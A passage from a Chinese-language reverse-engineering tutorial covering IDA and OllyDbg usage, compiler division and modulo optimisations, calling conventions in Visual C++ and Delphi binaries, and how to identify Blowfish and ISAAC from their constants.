      (2)签名(查看->打开下级查看->签名,右键->Apply new signature...添加签名文件)用来指定加载IDA的库函数签名文件.这个是IDA的非常有用的一个功能.逆向分析就像玩填字游戏,从提示线索出发,补完整个词句.而逆向分析的线索是什么呢?库函数就是其中之一.无论是MFC还是Delphi编写的程序,都要用到大量的库函数,而这些库函数就是我们分析的线索之一.IDA的FLIRT库函数签名能够识别出大部分的库函数并在汇编窗口中标注其名称.分析用户函数时,根据这些库函数,我们可以大致确定用户函数的作用.
      但是IDA的库函数签名也不是万能的,也会遗漏或者错误把用户函数识别成库函数.怎么办?
      如果你分析的文件较大或者CPU较慢时,观察导航器(查看->工具栏->导航器->导航器)就会发现IDA扫描分析会给指令,正则函数和库函数"染色",而库函数往往是在连续区域.我的经验是,如果IDA把这个连续区域外的函数标注成库函数,很大可能就是误识别,而把此连续区域内的函数"染"成用户函数,有可能就是遗漏,未识别.

      (3)创建MAP文件(文件->创建文件->创建MAP文件),能够导出库函数名,用户函数(自己命名的),字符串名等(但是不能导出添加的注释信息.哪位知道如何导出IDA的注释,告诉俺一下:-).导出map文件的目的主要是用于ollydbg,因为od自身不具有识别库函数的功能,所以在用od调试delphi程序的时候,往往误入歧途跟进库函数里面,浪费时间.要在od中导入map,需要一个插件LoadMap,它可以很方便的导入map.导入之后,库函数都会标注上名称,调试起来就容易些了.
      另外还有个OD的插件GODUP(IDA签名载入程序),也可以载入IDA的签名文件来识别库函数,也不错.

      [2] IDA的一些常用的快捷键.
      C 如果你发现一段数据没有被IDA识别成代码,那么可以手动转换.
      G 跳转到地址,就是od的Ctrl+G.
      Ctrl+Enter/Esc 就是od的+/-.
      N 重命名.
      U 如果一段数据被IDA错误识别成代码,用U可以撤销转换.
      X 显示交叉参考. 对函数,可查看该函数的所有调用者;对局部变量,可查看函数里涉及到该局部变量的所有指令.
      Y 在函数名上点Y,用来设置函数类型.
      : 添加注释.
      ; 可重复注释,在逆向过程中不断添加注释和重命名分析过的函数很重要,好记性不如烂笔头嘛.
      Shift+/ 在IDA中选中需要计算的数字,Shift+/即可调用计算器计算,比较方便.不用老去Win+R->calc了.


2. 编译器优化
====================================
      编译器优化体现在很多方面,下面举例说明:
      看看下列指令(这是从rc4的密钥初始化中截取的片段):
.text:0041E208                 and     edx, 800000FFh
.text:0041E20E                 jns     
short loc_41E218
.text:0041E210                 dec     edx
.text:0041E211                 or      edx, 0FFFFFF00h
.text:0041E217                 inc     edx
.text:0041E218

      其实这是edx%256,如果求余运算的求余数是2^n,如16,256等,就会优化成上述形式,因为用除法指令进行求余运算需要的时钟周期较多,执行效率不高,所以编译器尽量避免使用除法指令,就像上面所示.

      再看另一个片段:
.text:0040100D                 mov     ecx, eax       ; eax是被除数
.text: 0040100F                mov     eax, 55555556h
.text:
00401014                 imul    ecx            ; 
.text:
00401016                 mov     eax, edx       ;\注意imul是有符号数乘法,这相当于edx>>31
.text:00401018                 shr     eax, 1Fh       ;/,这样eax存放的是符号位
.text:0040101B                 add     edx, eax       ;加上符号位, 对负数相当于向下舍入为一个较小数

      这段实际上是用乘法来模拟除法运算,翻译上面的汇编代码可以得到(var*0x55555556)>>32,即var*0.333333,所以模拟的除法运算是var/3.


Viusal C++, Borland Delphi程序的分析
======================================
      [1] Viusal C++程序的分析
      先将编译器设定为Visual C++,载入签名如vc32rtf,vc32mfc等.待IDA扫描分析完毕就可以开始工作了.
      逆向前,先要说下函数有4种调用约定,即stdcall,cdecl,fastcall,pascal.它们之间的区别体现在参数入栈顺序和清理入栈参数的方式上.
      stdcall的参数入栈顺序是从右到左,且在函数返回前清理入栈参数,在反汇编代码上体现为retn xx,比如压入2个寄存器作为参数,函数返回时就是retn 8.采用stdcall约定的有WINAPI,以及CALLBACK回调函数等.
      cdecl的参数入栈顺序也是从右到左,但是在函数返回后清理入栈参数,在反汇编代码上体现为add esp, xx,比如压入3个寄存器作为参数,返回时就是add esp, 0Ch.采用cdecl约定的有c标准函数库等.
      可能有人要问stdcall和cdecl貌似没什么区别嘛,这样做不是多此一举吗?呵呵,想想最常用的printf函数族,发现什么了?它的入栈参数个数是不固定的,也就是说在编译期才能确定入栈参数,所以用stdcall是无法实现这类不固定参数的函数,只能用cdecl.
      pascal的参数入栈顺序与上面二者相反,是从左到右.在函数返回前清理入栈参数,这与stdcall一致.
fastcall的特点就是采用寄存器来传递部分函数参数,但具体细节依赖于编译器.如Visual C++编译器的fastcall约定是前两个参数依次用ecx,edx,第3个开始push入栈.
      归纳如下:
调用约定入栈参数清理参数入栈顺序
cdecl调用者处理右->左
stdcall函数自己处理右->左
pascal函数自己处理左->右
fastcall函数自己处理依赖于编译器

      直接调用Windows SDK写的C代码编译后是比较好分析的,只要熟悉Windows API基本就能找到和分析自己感兴趣的部分.比较棘手的是MFC一类C++代码的逆向问题.因为出现call dword ptr [esi+XXh]一类的虚函数调用,不能一路很顺利的跟下去.当然,你可以从调用点回溯到类实例创建的地方,从而知道调用的是什么函数.不过这样比较麻烦,投机取巧的办法,是用od到虚函数调用的地方前下断,然后由this指针得到虚函数表地址(this指针指向的类实例存储结构的第一项就是虚函数表地址),偏移XXh得到虚函数地址.

      [2] Borland Delphi程序的分析
      先把编译器设定为Delphi,载入签名d5vcl等.待IDA扫描分析完毕.
      Delphi的函数调用是fastcall.Borland Delphi的fastcall约定是前3个参数依次用eax,edx,ecx传递,第4个开始push入栈.如果是虚函数,第一个参数eax就是this指针. 形象点就是function(eax, edx, ecx, push...).
      举个例子:
code:004531CC                 lea     eax, [ebp+var_30]    
code: 004531CF                 push     eax                     ; 第4个参数
code:004531D0                 lea     ecx, [ebp
+var_38]      ; 第3个参数
code:004531D3                 mov     edx, esi                ; 第 2个参数
code:004531D5                 mov      eax, ebx                ; 第1个参数,this指针
code:004531D7                 mov     edi, [eax]             ; edi 
<- vmt ptr
code:004531D9                 call    dword ptr [edi
+0Ch]    ; 虚函数调用

      先前说过库函数是我们分析一个用户函数的重要线索,因为Delphi对Windows API做了封装,所以在Delphi程序里鲜有直接调用Windows API,基本是对库的调用,所以在分析的时候需要常翻Delphi Help.
      另外,Delphi的字符串处理方式和C库有很大不同,没有熟知的str*函数族.推荐阅读看雪上firstrose整理的"Delphi的内部字符串处理函数/过程不完全列表"一文.

算法识别技巧
===================================
      这里指的识别比较窄,就是一些通用加解密算法的识别.
      算法识别当然依靠算法的特征.其中最明显的特征莫过于通用算法使用的一些初始化数据了.
      比如下面这段代码截取自Blowfish的初始化函数:
code:004513A0                 mov     eax, offset S_Box_blowfish
code:004513A5                 mov     ecx, 1000h
code:004513AA                 call    @Move
code:004513AF                 lea     edx, [esi
+103Ch]
code:004513B5                 mov     eax, offset P_Box_blowfish

      我们跳转到S_Box_blowfish处,可以看到如下的初始化数据(BTW:其实这是pi的16进制表示)
data:0048D308 P_Box_blowfish  dd 243F6A88h, 85A308D3h, 13198A2Eh, 3707344h, 0A4093822h, 299F31D0h, 82EFA98h, 0EC4E6C89h
data:0048D308                         dd 452821E6h, 38D01377h, 0BE5466CFh, 34E90C6Ch, 0C0AC29B7h, 0C97C50DDh, 3F84D5B5h, 0B5470917h
data:0048D308                         dd 9216D5D9h, 8979FB1Bh
data:0048D350 S_Box_blowfish  dd 0D1310BA6h, 98DFB5ACh, 2FFD72DBh, 0D01ADFB7h, 0B8E1AFEDh, 6A267E96h, 0BA7C9045h, 0F12C7F99h

      假设此时你还不知道这个算法是什么,我的做法是把其中一段初始化数据,比如S盒的开始这段0D1310BA6h, 98DFB5ACh, 2FFD72DBh, 0D01ADFB7h提交到http://www.google.com/codesearch去查询.呵,看到什么了?google返回了blowfish的代码.现在你可以初步确定这个算法是Blowfish了.
      有时候仅靠算法的初始化数据是不够,因为在google codesearch命中的结果太多了.比如:
code:0047EEB7                 mov     ecx, 9E3779B9h  ; Magic Number
code:0047EEBC                 mov     esi, ecx
code:0047EEBE                 mov     edx, ecx
code:0047EEC0                 mov     [esp
+18h+delta1], ecx
code:0047EEC4                 mov     [esp
+18h+delta2], ecx
code:0047EEC8                 mov     [esp
+18h+delta3], ecx
code:0047EECC                 mov     [esp
+18h+delta4], ecx
code:0047EED0                 mov     [esp
+18h+delta5], ecx

      这里仅有一个初始化数据9E3779B9,提交到google codesearch命中了600个结果.这时就结合算法的特征了,比如这里将9E3779B9赋值给esi,edx,delta[1~5]共7个变量.我们在google返回的gnubg-0.14.3/lib/isaac.c里面找到了这样的特征:
    70:    r=ctx->randrsl;
           a
=b=c=d=e=f=g=h=0x9e3779b9;  /* the golden ratio */
alpha.gnu.org
/gnu/gnubg/gnubg-0.14.3.tar.gz - GPL - C

      呵呵,原来这是Isaac伪随机数算法.
      这里只是为了说明的方便,所以省略了很多,我当时判断这个算法的时候,将整个Issac_Rand_Initial函数和Issac的c代码粗略的比对了一遍后,在od中断下Issac_Rand_Initial,将输入的种子扔到c代码中编译测试,与od的结果一致,确定为Issac伪随机数算法.

=======[EOF]=======